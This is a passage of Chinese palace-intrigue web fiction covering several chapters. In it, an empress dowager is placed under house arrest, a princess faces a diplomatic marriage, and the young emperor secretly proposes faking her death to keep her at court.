谢维便咧开嘴,哈哈一笑,没有答她。
建康这边知道的是,谢维没借。幽州坚守不出,没掺和进乌兰郁弗和陈氏的战争中。
但实际上,谢维亲自领了一支精锐,趁着乌兰郁弗与陈氏正面交锋,他和乌兰徵一起从背后捅进了陈氏大军的腹地。
“乌兰徵有勇有谋,少年英雄。”谢维说得不多,但眼中颇有欣赏之意,“长得也是风姿俊逸,堪为长公主良配。”
明绰没说话,但也装不出喜怒不形于色了。如果这就是谢维回来告诉太父的话,那他们更有理由把她嫁去大燕。乌兰徵和萧盈做郎舅比做敌人好,更何况他还“少年英雄,风姿俊逸”,也不亏待东乡公主。
“舅舅来得不巧,”明绰明着下了逐客令,“母后不在上阳宫,舅舅若是有……”
谢维没等她说完,笑着低头把腕上松脱的一片护腕重新理了理:“我知道。就是太后命我来取虎符的。”
外面传来了越来越多的脚步声,明绰抬头看了一眼,只见金甲攒动。
明绰掂量了一下,小心地问了一句:“母后还说了什么?”
谢维把手放下,负到了身后:“唔……太后还说,上阳宫里伺候的奴婢劳苦功高,多年与家人分离,太后看着于心不忍,今日就都遣散了吧。”
灵芝意识到了什么,惊恐地拉住了明绰的手臂。明绰反手握住她的,没逃过谢维的眼睛。他看了灵芝一眼,笑了一声:“我记得你,你从前是太尉府里的。”
灵芝只好行了一礼:“承蒙中尉还记得。”
“你可以仍旧回太尉府去。”谢维说得懒洋洋的,“其余的嘛,每人来领五百钱,便回去同家人团聚吧。”
明绰咬了咬牙:“遣散了她们,谁来伺候母后?”
“自然是会有人来的。”谢维只道,“这个就不用长公主操心了。”
“这是什么意思?”
谢维又不答了,笑眯眯地,又说了一遍:“长公主,虎符呢?”
明绰心里沉了一下,灵芝抓着她的手更加紧,把她的手臂抓得很痛。这是萧盈的意思吗?不可能。来的是谢维,只可能是谢郯的意思。
“灵芝,”明绰听见自己的声音,镇定得让她自己都意外,“去取母后的虎符来。”
灵芝发出了一个非常意外的声音,但是明绰催促了一句:“快去。”
虎符是死的,人是活的。现在谢维明显只听谢郯号令,那上阳宫里攥着这枚虎符又有什么用?谢维遣散上阳宫里的人,说明太父还是要把母后送回来的,而且他只要虎符,没说要拿走太后的印宝。现在还不知道母后的情形如何,没必要跟谢维起冲突。
灵芝惊惶地看了看她,还是喏了一声,进太后的寝宫拿虎符了。
谢维客客气气地对明绰行了一礼:“多谢长公主。”
“舅舅,”明绰又唤他,“母后何时能回来?”
“伯父还有话要同太后说,说完了,太后自会回来。”
果然是谢郯。
明绰又道:“我能去看看母后吗?”
“这就不必了吧。”谢维面上还是很轻松,好像这不是什么大事,“父女两个叙话,还能出什么事?”
“那……”明绰想了想,“等母后回来了,我还能在上阳宫陪着母后吗?”
谢维若有所思地看着她,好一会儿,轻声道:“长公主可以先去昭澜宫住着。”
“可是我想陪着母后……”
谢维一笑:“长公主想回来看太后随时都可以啊。”
是软禁,明绰确定了。
她低下头,猝不及防地掉了眼泪。其实她没想这样,谢维的语气和姿态都很和善,一点儿没有要吓唬她的意思。可偏偏就是这种和风细雨,让她感到了最深重的无力和绝望。她发现自己什么都做不了,她甚至控制不了自己不要哭出来。明明昨夜里她下定了决心,无论皇兄和母后谁胜谁负,她都要保住败的那个。她想的是,到时候她会去求,母后心疼她,皇兄也爱重她,所以她说话总是管一点用的吧?
可是风云变幻,人心翻覆,权力的颠覆原来如山倾,根本不会给她反应和求情的机会。
灵芝走了出来,手中奉上了虎符。谢维单手接了过去,在手中掂了掂,也没细看,就揣进了怀中。太仆令就在这个时候探出了头,茫然地看着已经涌进上阳宫的执金吾卫。
“这怎么还有……”谢维都有点儿哭笑不得,上下打量了他一身官服,瞧着品阶不低,但是面生,建康说得上话的大人物里没这号人。“这位是……?”
明绰抹了抹眼泪:“这是太仆令。”
谢维“哦”了一声,原是个方士。也没问太仆令进宫干什么,随便地挥了挥手。有个执金吾卫走上前,粗暴地提住了太仆令的后领,把他提了出去。谢维转回头,看见明绰还在掉眼泪,便露出了为难的表情,挠了挠鬓角。可是他也不知道能说什么,只好背着手,踱着步子,走开了。
明绰在上阳宫看着执金吾卫遣散了所有宫人,其间谢维两次提出要把她先送去昭澜宫,但是明绰坚决拒绝。她一度想去含清宫,但是谢维也没让。直到暮色四合,谢维下了令,半是强迫地把公主送去了昭澜宫,她没有见到谢拂霜。第二日,明绰打探到了消息,说太后没事,梁女史仍旧留在太后身边伺候。
但谢维骗了她,她没能够随时回去见太后。上阳宫外有执金吾卫看守,她进不去,谢拂霜也出不来。甚至连递封信、传个话都做不到。明绰去了一趟含清宫,但没能进去就被人劝了回来,从此,昭澜宫外面也多了穿金甲的身影。
她满十五岁那一天,舅母庾夫人进了一趟宫,为她梳头,便算是行过了及笄礼。明绰流着泪哀求庾夫人,她想知道到底发生了什么,想知道为什么事情这么突然,朝中是什么反应?太后突然被软禁,这么大的事情,难道就没有人问一问吗?陛下呢?陛下又做了什么?
可是庾夫人什么都没有告诉她,只是拿出了一根玉笄,说是段太后这次回信所带来的礼物。段太后并不介意再等上一等,反正乌兰国主还在西海尚未班师。先把婚事定下即可,这是乌兰国主给她的定情信物,大雍收下了,这婚事也就定下了。
“长公主,”庾夫人为她盘发插笄,从镜中看着她,“从今日
起,你便长大成人了。”
第32章
景平十四年,谢太后突发恶疾,还政天子。天子越制封太尉谢郯为丞相,太尉以肺疾不能出门为由固辞不受。同年底,谢聿进录尚书事,与尚书令同领尚书台,位同副相。其女谢星娥册为皇后。
十五年初,天寒暴雪。太尉因受寒再发肺疾,形势凶险。天子于宫城东南角特设温泉宫,不计靡费,日夜以炭火保温,请太尉迁居。自此,日叩夜安,事之纯孝,一应军政要务,均要问过太尉方行。满朝军政大权,皆握于一人之手。
及至春来回暖,西北传来消息,乌兰徵大破兀臧部,将西海重新纳入了大燕版图之中。
萧盈脚步匆匆踏进殿中,原本正围着说话的几个重臣听见脚步声全都跪下来,还没来得及行礼,天子已经不耐烦地抬手示意他们都起来。
“朕已经知道了,”萧盈扫了一眼桌上递来的情报,“乌兰徵胜了,所以呢?”
今日没有朝会,谢聿携几个重臣突然要求在含清宫私下见天子,说得十万火急,不知道的还以为乌兰徵打过来了。
谢聿拱了拱手:“陛下可还记得苏絷?”
“苏学士?”萧盈一愣,他已经很久没有想起来这个人了。当年他曾经作为侍讲学士给他讲过西海十八部的内情,后来因一直得不到重用,愤而出走屠珲部。
“他不是追随拔拔真了吗?”
谢聿:“陛下容禀。五年前,乌兰郁弗坐大,苏絷曾向父亲献纵横捭阖之策,分化乌兰十八部。拔拔真入京时,苏絷便假意随他北上……”
此后仅一年,乌兰郁弗病卒,拔拔真率领屠珲部叛出,割出冀州,兀臧部也抢占西海,和乌兰徵拉开了多年的苦战。
“兀臧部的俟骆有一位极其信任的谋臣,名叫阿勒敦。此人原本出身屠珲部,早年曾经和拔拔真一起在苏絷那里学过汉话……”
“当年进言让兀臧部俟骆背叛乌兰郁弗的,就是这位阿勒敦?”
谢聿:“正是。”
萧盈听懂了,一时没说话,伸出手揉了揉眉心。
他当然记得苏絷献的那道计,他曾经当着明绰的面跟谢郯讲过一遍。但苏絷竟然以身入局,真的实施了这个计划,他却一无所知。短短一年,苏絷便以一己之力拆下了乌兰郁弗的左膀右臂,让大燕头尾不顾,不得不向南边的汉人王庭割地服软。
如今兀臧部俟骆死了,阿勒敦落入了乌兰徵手中,他会知道这一切的罪魁祸首是谁。
“苏絷呢?”萧盈问,“他如今在何处?”
谢聿一愣,好像没想到萧盈问的是这个。
“应该……还是在拔拔真身边。”谢聿想了想,“父亲也已多年没有收到他的消息。”
“若阿勒敦说出实情,苏学士岂不危矣?要赶紧将他召回才是。”
谢聿皱了眉头,有点不耐烦议论这个了:“苏絷自有拔拔真庇护,乌兰徵的手还伸不到屠珲部,陛下何必担心这个?”
萧盈明白了他的意思,又是一片短暂的静默,然后萧盈道:“给袁增传旨,荆州是燕雍分野之处,让他……”
“陛下!”谢聿打断他,“臣有一言。”
萧盈看着他,已经知道了他想说什么。于是他唤了一声:“舅舅。”从前他从未这样唤过谢聿,但自从太后被软禁,萧盈在人前对谢家极尽恩宠,也跟着改口一直唤他“舅舅”了。
只可惜这声虚情假意的舅舅拦不住谢聿要说的话。
“臣以为,应该立刻应大燕国书所请,将东乡公主送去长安,以平乌兰徵之怒。”
“舅舅这话倒有些长他人志气了。”萧盈硬逼着自己露出一个微笑,“乌兰徵父子两代皆向建康称臣,如今就因为怕他发怒,便要把公主送去,大雍颜面何在?”
谢聿不为所动:“陛下切不可争一时意气。乌兰徵年轻气盛,当初割地称臣已是满心不甘,何况他与公主的婚事早已定下……”
“若是乌兰徵对大雍心怀不满,就更不能把公主送去了。”萧盈打断他,“东乡是朕唯一的妹妹,明知龙潭虎穴,朕还把她送去,朕良心何安?”
谢聿抬起头,看着他:“陛下,是要撕毁与大燕的婚约吗?”
萧盈沉默着在袖中握紧了拳头。这一幕何其相似,上一次他就是没忍住,才会一步走错,到了如今这个局面。
谢聿几乎是步步紧逼:“阿勒敦与建康毫无干系,就算乌兰徵知道了真相,婚约在身,他总要忌惮一二,未必就敢举兵南犯。陛下若是撕毁婚约,乌兰徵可就师出有名了——陛下,是要与大燕开战吗?”
萧盈抬起头,视线从旁边的重臣脸上一一扫过。散骑常侍是谢郯的门生,两位中书侍郎皆为谢聿心腹,只有一个尚书仆射,萧盈记得,他曾是桓廊的人。可是自从谢聿入尚书台,桓廊就被架空了,今日列席,谢聿甚至都没叫他来。
都是皇帝近臣,食君之禄,眼下却都一言不发,低着头,好像几尊摆设。
萧盈松开了袖中的拳头:“朕绝无此意。”
谢聿深深地看了他两眼,不知道在想什么,最终又决定不再相逼。君臣没再提东乡公主的事,只把靠近大燕的边境防务重新梳理了一遍,拟了旨,便散了会。
谢聿没有出宫,反而直奔上阳宫。
如今守在上阳宫的执金吾卫已经少了很多。小皇后如今将将满十三岁,月事都还没有来过。天子另赐她栖凤宫居住,别说过夜,连看都不去看一眼。谢星娥便时时来上阳宫跟姑母作伴。皇后年纪再小也是皇后,执金吾卫不敢拦她。她自己来不算,还总带着东乡公主来。太尉和陛下都对此保持了沉默,上阳宫外的执金吾卫也就睁一只眼闭一只眼了。
谢聿进来的时候,便看见两个女孩儿一左一右地伴着太后,谢星娥正用笔蘸了鲜亮的翠色颜料,给谢拂霜画眉。见他来,谢星娥便搁下笔,高高兴兴地叫了一声:“父亲!”
谢拂霜唇边露出一抹极淡的笑意:“阿兄。”
明绰也站起来,唤了一声“舅舅”,把身边的位置让给了他。谢拂霜看了一眼他的表情,便知道他有话要说,朝明绰使了个眼色。明绰会意,拉着谢星娥走了。谢拂霜坐直身子,自己给谢聿倒茶。
“阿兄见谅,这里没人伺候,茶不好,你担待。”
谢聿抬头看了妹妹一眼。谢拂霜面白如玉,靥上红晕鲜艳,瞧着很是好看,只是一边眉毛绿,一边眉毛黑,不由摇了摇头,笑道:“难为你这样疼星娥。”
谢拂霜闻言便是一笑,什么都没说。要说疼爱,她一直都很疼谢星娥,但从前她大权在握,谢星娥见了她会害怕,不会这样没规矩。如今她失势了,谢星娥倒是成了皇后,也就不怕她了,权势这个东西,连小孩子都感觉得出来。但小孩子又毕竟只是小孩子,谢星娥不会因为她的失势就避开,反而与她更亲近了。
她最初被软禁的几个月,谢郯以绝对的强硬姿态销毁了上阳宫里所有的穙齐香,甚至下了禁令,民间都不许再用。后来是谢维来告诉他,拂霜头风严重,夜夜难以入眠。其实谢郯没有不允许上阳宫传太医,只是这么多年,太后早已对穙齐香上了瘾,别的药没有用。最后,还是谢聿偷偷送了一点穙齐香进来。
等到太尉进了温泉宫养病,谢聿来得就更勤了。他很小心,不会把朝堂上的事情告诉太后知道,但是有时候,他和父亲意见相左,又不敢说什么,还是跟以前一样,会来找妹妹说。
前些日子,谢维总算是找了个由头,以“擅离职守”的罪名教训了桓湛一顿鞭子。桓湛辩称,他不在值守的日子是被陛下调去随侍了,但是谢维查了记录,某几个日子里,桓湛没有进宫,反而是去了袁府看妹妹。再查,便发现,原来是陛下微服出了宫。
袁家如今已经坐稳边疆,一方州镇,势力不容小觑。谢聿推断,萧盈和荆州那边有私下的通信,就是通过家书的方式,避开了朝中其他
人。
等他再细看那几个日期,突然发现,太尉府后门东长巷走水那天晚上,陛下也出宫了。
谢拂霜直到这个时候才从谢聿口中得知,原来宋玉桥就是萧盈的生母。
“他连弑父都敢!”谢聿那天把这句话重复了好几遍,甚至找不到其他的话来形容,独独这个事实本身,就足够惊世骇俗。
他还如何敢信天子对谢家的“纯孝”?萧盈对谢家越倚重,谢聿心里就越不踏实。这些话,他只起了个话音,谢郯就让他不必说了。
谢聿越来越觉得,父亲选择了陛下,软禁太后,是大错特错。可是谢郯的身体越差,人就越固执。事已至此,他不允许儿子说这样的话。
然而,把东乡公主嫁去长安,是谢拂霜和萧盈唯一都不愿意的事情。谢聿张开嘴,想了想,又不说了。
“也没什么事,来看看你。”谢聿端茶就饮,“你要是嫌没人,我调几个人来伺候你。”
谢拂霜若有所思地看着他。敢说这样的话,怕是谢郯的身体还是不见好。
“别人倒也没什么,”谢拂霜笑笑,“阿兄把灵芝还给我就好。”
谢聿从杯沿上抬起眼睛,看了看她,然后了然地笑笑,摇摇头,什么都没说。谢拂霜便没再要求,微微垂眼,只当无事发生。
虽不见好,看来也没恶化。
“好了,”谢聿放下茶,“我还要去看看父亲。你若是还缺什么,跟星娥说一声也行。”
谢拂霜也不留他,站起来相送。走到殿门,又突然道:“阿兄,温泉宫里还有兰花开着吗?”
谢聿下意识回道:“还有。”
谢郯钟情兰花,萧盈孝顺,在温泉宫里种了各色品种的兰花,那地方又尤其暖和,从冬到春,兰花常开不败。
谢拂霜垂下眼,露出了一丝神伤的表情,轻声道:“那你去见父亲的时候,替我带一株进去,放在他的床头,好吗?”
谢聿的眼神也柔和下来,握了握她的手。这是谢拂霜常说的话,好像父亲多看看兰花,就能想起她。谢聿本想安慰两句,但又觉得说什么都太无力了,心中也是感慨唏嘘,良久,只沉着嗓音道:“明白。”
他说完便转身走了,谢拂霜还倚在门前,静静地看了许久。暮云垂落,殿外金甲泛出暗沉的杀意。被囚禁的太后转过身,掩住了眼中一丝嘲讽的冷笑。
第33章
明绰等在路边,日头正盛,四处无遮蔽,她的影子被挤得扁扁的。有一只小龟,应该是从栖凤宫的池子里逃出来的,慢悠悠地爬进她的影子里,站住不动了。明绰往边上挪了挪,那点儿庇荫便也挪了挪。小龟又鼓动起四只脚,努力爬起来,再次躲进明绰的影子里。明绰低头看着它,突然笑了一声。
“小龟儿,”她喃喃自语,“如今我也只能庇护庇护你了。”
她站在那里,继续等。
这里离栖凤宫不远,远眺下去,能看到地势微低的温泉宫,西边那条路,就是萧盈每次来看太尉会走的那条。明绰自己并不愿意见太尉,也见不到陛下。她今天站在这里,是受了皇后之命。
不错,谢星娥也可以“命”她了。
最开始知道太父要立谢星娥为后的时候,明绰只是觉得荒唐,始终觉得这不像是真的。可是旨意下来了还不到两个月,大婚就办了——与其说是大婚,不如说是一场任命的仪典,谢星娥盛装打扮,只是接了个旨,受了册封,然后接进了栖凤宫,据说从头到尾萧盈甚至没有出现过。
东乡公主本该去拜新皇后,但因为她也接近于被软禁在昭澜宫,所以并未前往。直到谢星娥出现在昭澜宫,喝退了试图阻止的执金吾卫,明绰才第一次有了她是皇后的实感。
这个皇后谢星娥做得很开心。宫里嘛,她自小就是来习惯的,也没有多少新嫁娘离家的恐惧和不适。从前她就喜欢跟着明绰,借她长公主的威风,如今不必借了,她自己就是大雍最威风的女子。她想去看姑母就看姑母,想让东乡公主自由就可以让东乡公主自由,做了皇后,是谢星娥长这么大最开心的日子。
最重要的是——谢星娥红着脸偷偷告诉表姐,她竟然真的嫁给了自小仰慕的人,就像梦一样。
明绰很惊讶她对萧盈竟然也是有情的,她一开始以为谢星娥是因为嫁了萧盈才要对“丈夫”有情。可她这样一说,明绰便想起来,当时萧盈断了含清宫的课业去校场骑射,确实是谢星娥提出来要去看他,所有的女子都去看袁煦的时候,谢星娥也说过,“陛下比嫖姚都尉更好看”。
可是萧盈并不理睬她。谢星娥去含清宫见他,萧盈态度不冷不热,嫌她吵得很,扰他公务。谢星娥跟庾夫人哭诉,庾夫人只说她还太小了,等她来了月事,与陛下同房做了夫妻就好。谢星娥便整日发急,别家的贵女十二三岁都已来了月事,偏她这样晚。这种烦恼无处可诉,庾夫人又不日日进宫,只好全都倒给表姐听。她常央求表姐想想办法,若是看见了陛下,就跟他说两句话,让他来栖凤宫看看。
明绰每每见过表妹,心里都是五味杂陈。她该嫉妒吗?还是该恨谁呢?谢星娥什么都不知道,平常父母长辈聊的什么闲言碎语都往耳朵里听,唯独萧盈的身世,成了朝中的禁忌,无人敢议,她竟无从得知。她只以为,姑母被软禁是因为她不肯放权,等把性子磨一磨,以后还是一家人。
她也不知道明绰被关入昭澜宫的那些长夜是怎么度过的,不知道她在那些夜晚里如何一遍遍推演不同的结局,不知道她在想起自己曾说过“不会责怪皇兄心狠”的时候翻涌起怎样的酸涩。
一开始的时候,她确实没有责怪萧盈。她心里也认同宋夫人,萧盈只能投靠太尉,先从太后的钳制里松脱出来,才有命跟谢郯再斗。而太尉也不是那么好相与的,他同意废去太后的权位的同时,又塞了一个谢星娥来做他的皇后。大雍帝后同尊,皇后同样有权任免官员、调动军队,谢郯要保证,即使他死了,谢氏下一代仍是压在萧盈头上的一座大山。
萧盈的苦衷明绰全都明白。可是怨恨和爱意一样,在暗处见风就长。她对皇兄有多少无法言说的爱意,就有多少更无法言说的怨恨。最开始是她见不到他,后来,变成了她不愿意见他。
至少,谢星娥解了昭澜宫的禁,还能时时带她去看望母后。方才她们在上阳宫外面等了会儿,谢聿出来以后跟她们说了两句话。舅舅说乌兰徵已在西海大捷,大概很快就要筹备送公主出嫁的事宜了。说得谢星娥万般不舍,好像她明天就要走了。
现在她站在路边,和躲在她阴影里小龟儿一起等着。每一刻都想着要转身就走,可是脚下却生了根,心里有个声音说着,再等等,再等等。
天子的辇舆果然出现在了温泉宫的西侧,明绰远远地看见了他的侧脸。明绰还没有决定好她应该怎么做,身体比她的脑子更快,突然招了招手,扬声道:“皇兄!”
辇舆立刻停了,萧盈猛地转过脸来,远远看见是她,竟然也不叫他们掉头,而是自己从辇舆上下来,小跑着走了过来。这中间有一段小坡,明绰看着他爬上来,心都要从嗓子眼里跳出来。
萧盈跑得飞快,任之在后面跟着,跟得气喘吁吁,他也没有等一等的意思。可是真到了明绰面前,他又不说话了,只是盯着明绰看。这还是太后被软禁以后他们第一次相见,明绰全身都在用力
,绷着一股劲儿,好像只要这样,她就不会掉眼泪了。
然后萧盈看着她,突然道:“长高了。”
明绰突然笑了一声,伸手想掩住,却没有来得及阻止掉了两滴眼泪。她马上把脸转开,仓促地擦掉。
任之终于跟上了:“长……长公主。”
萧盈不理他:“你怎么在这儿?”
“东乡正要去栖凤宫看看皇后。”明绰尽职尽责地把谢星娥要她做的事做了,“皇兄什么时候有空,也去看看阿嫂?”
萧盈好像被那句“阿嫂”狠狠地刺了一下,但明绰假装没看见。好一会儿,萧盈轻声道:“去和太父通报一声,朕先去看看皇后。”
任之一开始没有反应过来这是在跟他说话,直到萧盈转过脸来看了他一眼,他才慌忙“喏”了一声。一时不知道该下去通报,还是该跟着陛下。于是萧盈又说了一句:“朕和长公主去就行了,不必跟着。”
任之只好应了一声,下去了。明绰垂着头,也不说话。等任之走远了,只自己转头闷走,萧盈的脚步声就跟在她身后,她也没有回头。走了几步,却又绕开了栖凤宫的正门,绕着墙根走到后院处。萧盈也不发问,只无声跟着。一直走到没人的小库房,明绰打开门走进去,示意萧盈进来,然后关上房门。还未等她把门关严实,萧盈已经转过她的肩膀,一下子把人抱进了怀里。
她是长高了一点儿,从前萧盈把她拥进怀里,她正好能贴在他的胸口,如今也能从他肩头露出眼睛了。明绰的手环到他背后,狠狠地在他肩上打了两下,萧盈只是把她抱得更紧。两人好一会儿都没有说话,好一会儿,才听到萧盈在她耳边轻声道:“你说过不怪朕。”
他还委屈上了。明绰又气又急,愤愤地又打。虽不说话,眼泪却一直掉。她打得太用力,已然不像是娇嗔撒娇,反而真像是以命相搏,萧盈不得不放开了她一点。明绰尤不解气,在他胸口又打。萧盈哑着嗓子叫了一句:“溦溦……”明绰也只当没听见,挣扎着,恨不得使尽全身的力气。母后被头风折磨得睡不着觉,被执金吾卫看得动弹不得的苦,她眼睁睁看着谢星娥在她面前满面红晕地说仰慕陛下的酸。她对萧盈所有的体谅、理解,在这一瞬间都化作了云烟,恨不得打痛他,让他也尝一尝,才能解心头万分之一的气。
萧盈沉默着受了半刻,然后突然控住了她两只手,往前逼近一步。明绰的背抵到了门上,下一刻,萧盈倾身过来,突然吻住了她。
明绰睁大眼睛,全身都僵住了。
萧盈贴近了一点儿,揽住了她的腰。他从来没有做过这样的事,明绰一时连呼吸都静止住,只看到萧盈的眼睫近在咫尺,轻轻颤动。他身上的气息好近,带着熏香的好闻,却没有了她所习惯的那股药味——这是一件好事,然而这味道却让她觉得陌生,好像那个作为皇兄的萧盈确实是不存在了。他在宣告他们之间和兄妹之情截然不同的东西,耐心厮磨,一寸一厘地撬开她的防守。
明绰忽然齿尖用力,狠狠地在他唇上咬了下去。但是这也没有让萧盈退开,他反而更近了一步,揽着她腰的手更紧。她所有的呼吸全都被攫取,发着颤,整个人像是溺水一般,直到萧盈终于肯放开她的唇,鼻尖蹭着她的鼻尖,流连着,又去吻她颊上未干的泪。
“对不起。”萧盈的声音很轻,明绰分不清他是在为了什么道歉。
她终于开口说了第一句话:“你想把母后怎么样?软禁到死吗?”
萧盈贴着她的脸颊:“之后,朕会送她出宫。”
明绰抬起头:“之后?”
萧盈没有解释,但明绰已经明白了。谢郯死之后,诸事已定之后,他大权在握之后。可是这真的可行吗?只要谢星娥还在宫中做皇后,谢家权势不倒,谢拂霜就有可能联络朝臣,再策划反扑。她会固执地做萧盈的眼中刺,肉中钉……要么,他说的是,把谢家连根拔起,废了谢星娥之后?可是那怎么听都是一条漫长的道路。
明绰闭上眼睛,没有追问什么。母后已经败了,能留下命来才是最要紧的。她现在有更紧急的事情。
“我不能去长安。”明绰提出了她第二个要求,“我不能就这样丢下母后。”
这一次,萧盈沉默了更长的时间,长到让明绰觉得心慌,下意识地攥紧了他的袖口。她不知道这样的动作显得她有多依赖他,明明还在生气,明明怨他怨得要死。
萧盈低下头:“还有一个办法,只是怕你不愿意。”
“什么?”
萧盈:“朕可以效仿前梁成穆皇帝。”
成穆皇帝荒淫,看上了异母妹妹的美色,不惜杀害驸马,一把火烧了驸马的府邸,谎称妹妹已死,然后将妹妹纳入后宫。
明绰反应过来,狠狠挣开他,恨不得再打他两下。
成穆皇帝那个妹妹是不受宠的妃子所出,自小远离朝局,连皇后都没见过她,这才勉强行得通——但其实也没有真的行得通,不过是时人畏惧皇帝威势,不敢说话罢了。否则,史书上就不会记下这一笔,他们也就无从得知。可谢太后一度权倾朝野,她是太后膝下唯一的公主,和皇后是连着血亲的表姐妹,萧盈也不知道自己掂量掂量,他有没有成穆皇帝那份权威,能让朝野噤声。
萧盈重新攥住她的手,压低了声音:“报长公主病逝,另择官女封公主,乌兰徵也不会有理由寻衅,你就能留在太后身边了!”
明绰一怔。萧盈看着她,唇角被她狠狠咬了一口的地方已经红肿起来,明绰一时说不出话,好一会儿,伸手抚了抚萧盈那块红肿起来的唇角。萧盈突然张开嘴,轻轻在她指尖也咬了一下,像是还回去,但又没舍得咬疼她,舌尖柔软濡湿,极快地在她指腹上刮过,然后又重新攥着她的手贴到胸口。她掌心下便是他隆隆的心跳。
“别的事情,你要是不愿意,朕也不会强求。”萧盈说完,终于放开了她。明绰还是没说话,萧盈看着她,泪凝于睫,面上飞红,更添颜色。就是刚才扑上来打他打得头上钗都歪了,便笑了笑,伸手轻轻地帮她把钗扶正。
“溦溦梳妆片刻再来……”他轻轻地贴在明绰耳边,“朕先去看皇后。”
明绰立刻抬起眼瞪他,明知他是故意这样说,还是忍不住脸上更红,同时心里被激起了更大的醋意,干脆咬紧牙关,狠狠地在萧盈脚上踩了一脚。然后也不管他怎么疼得龇牙咧嘴,转头便出了门。
第34章
萧盈略等了会儿才出去,从正门进了殿。谢星娥显然已经听明绰说了陛下要来,远远地就迎了出来,身后还跟了七八个女眷,倒是浑把萧盈一惊。落座一问才知,今日皇后请了原先女学里交好的姊妹们来做客,没想到这会儿陛下突然来了。
萧盈便抬眼看明绰,见她只坐着不言语,心中已猜到了七七八八。谢星娥在闺中时便与这些贵女交好,如今坐稳中宫,自然要把人都叫到宫中来看看她做皇后的威风。陛下来了,皇后更觉得在人前有面子,高兴得神采飞扬,被人众星捧月一般,说笑都很大声,越发衬得东乡公主失势落魄——看她的样子,这场小小的集会多半是根本没叫她了。
那天谢星娥要解昭澜宫的禁,其实有人去报了太尉,太尉没有允许。是萧盈暗中截了传话的人,顺势借着小皇后的威风解了明绰的拘禁。小皇后虽不知深浅,但和长公主姐妹情深不假。为这,萧盈自问对谢星娥已经很有耐心,但这点儿耐心到这一刻,也统统烟消云散了。
“好了,”萧盈突然站起来,也不顾谢星娥正在说话,“皇后这里有人陪着,朕也放心了。朕还要去看太尉,就不在这儿扰你们了。”
“陛下!”谢星娥马上也跟着站起来,茫然地跟了两步,“可是……”
有人突然笑了一声,响得突兀,引得所有人都转头去看她,她却娇滴滴掩了唇,眼波流盼,春水似的往萧盈身上淌:“陛下这话说得,倒是我们不识相,扰了陛下和
皇后呢。”
她一开口,明绰就没忍住困惑得一皱眉。这是崔庆英,她认得的。可这说话的嗓……崔庆英以前是这么说话的么?
但萧盈还真的被她吸引了注意力,回问了一句:“你是谁家的女子?”
崔庆英刚要开口,谢星娥突然插了一句:“陛下,她是崔挺的妹妹崔庆英,早已许了姜家的二郎,你不记得了?”
她特意强调了最后一句,说得崔庆英一下子拉下了脸。这事儿全建康都知道,两家世交,自小订的娃娃亲。谁承想那姜家二郎小时候敦实可爱,长大了竟成个又矮又胖的麻子。大雍上下都看中男子的风姿,姜二郎这尊荣入仕都困难,只好赋闲在家。崔庆英死活不肯嫁,崔家也是为难,又不愿意,又不好得罪人,横拖竖拖,拖得崔庆英如今都快二十了还在闺中。
谢星娥一说,萧盈便也知道是谁了,上上下下地打量了崔庆英两眼,好像还真有惋惜之意。
谢星娥更不自在了,突然道:“本宫和陛下一起去看太父!”
一声嗤笑突然从明绰身边传来。她转过头,竟是桓宜华正捂着嘴笑。见长公主看过来,她忙收敛了表情,但明绰也笑了笑,桓宜华就又没忍住,抬起袖子掩着唇,眉眼笑成了两弯月牙。
皇后既然发了话,一众贵女便也都散了。明绰拖了两步,跟桓宜华一块儿出去,悄悄地问她:“桓夫人笑什么?”
桓宜华面上还带着那笑:“也没什么,就是还记着皇后仍是个不通人事的小孩子,如今也学会争风吃醋了,瞧着倒有些滑稽。可见女子一旦嫁了人啊……”
她顿了顿,突然觉得这话跟长公主说不太好,又收敛了笑容:“长公主恕罪,是我失礼了。”
“无妨。”明绰淡淡地笑了笑,“我也觉得滑稽。”
皇后的辇舆出了栖凤宫,她们俩都稍稍让了个道,却见崔庆英加快了脚步,竟然追了上去,就在辇舆边上仰着头,不知道又跟萧盈说了什么。声音很低,她们听不见,只看到萧盈微微倾身,似是听得认真。谢星娥则是半点藏不住心事,坐在一边恼火得脸都要变形了。
明绰勾了勾嘴角:“崔庆英的胆子很大。”
桓宜华也看着他们,突然道:“听说崔挺快要起复了,看来是真的。”
明绰猛地转头看她:“桓夫人……”
“长公主,”桓宜华也转过来,“去年匆匆一面,我多有招待不周,还望长公主恕罪。”
明绰一怔:“那没什么……”
桓宜华继续往下说:“皇后同我说过,当初王执瑈厌我浮浪,长公主曾仗义执言……宜华愚笨,心中虽将长公主引为知己,却不知能如何让长公主明白我的感激和敬仰。去岁一别,如今再相见,心里真是……”
她说到此处,竟连眼圈都红了,只是握住了明绰的手,轻声道:“长公主受苦了。”
明绰万万没有想到会从她这里听到这样的话,一时诸多委屈涌上来,喉间一哽,什么话都没有说出来,只能用力地回握她的手。
“宜华僭越,要劝长公主一句。”她低着头,声音压得更低,“无论太后如何,陛下与你兄妹之情是不会变的,”她顿了顿,抬起头意味深长地看了一眼明绰,“长公主还是长公主。”
明绰方才一点动容还没来得及消化,突然被桓宜华这一眼看出了一个激灵。她那神情不像是在安慰明绰不要担心眼下的困局,更像是提醒她什么。长公主的“受苦”,是因为太后的失势而被牵连,如今桓宜华是在提醒她萧姓公主的身份,不要站到谢家那头?
明绰在心中掂量了一番,悄声改了口:“多谢桓姐姐。”
桓宜华轻轻微笑,最后一次握紧了明绰的手。然后躬身行了一礼,告退了。
明绰站在原地,看着她远去的身影,许久没有动。皇后的辇舆自是早就走远了,贵女们也都散得差不多,远远地,还能听见年轻女子们议论崔庆英的笑声。明绰又想起桓宜华的那句冷不丁的话,崔挺要起复了。
若他还是回去掌执金吾卫,那么,谢维呢?
白子悬在半空,竟有些犹豫不决。谢拂霜托了腮,笑盈盈地看着面前的人举棋不定,僵了好一会儿,谢维才笑了一声,把棋子一丢,只道:“我认输了。”
棋子掉落,撞飞了原来的两粒子,谢拂霜马上坐直:“你!”
谢维自小就是这样。幼时谢聿总自恃年长,不愿跟妹妹对弈,只有谢维愿意。谢拂霜赢了他,便要把残局拿去给谢聿看,证明她的棋力能与兄长一较高下。谢维下不过她,输了棋也不恼,但总使这些小手段,撞乱棋形,不叫她去炫耀。后来谢拂霜就学会了记棋打谱,一步一步复盘,半点儿错也不会有。
眼下两人对视一眼,都想起了小时候的事,都是一笑。谢拂霜又歪下来,在谢维面前非常放松。
“你回来了也好。”谢拂霜突然道。
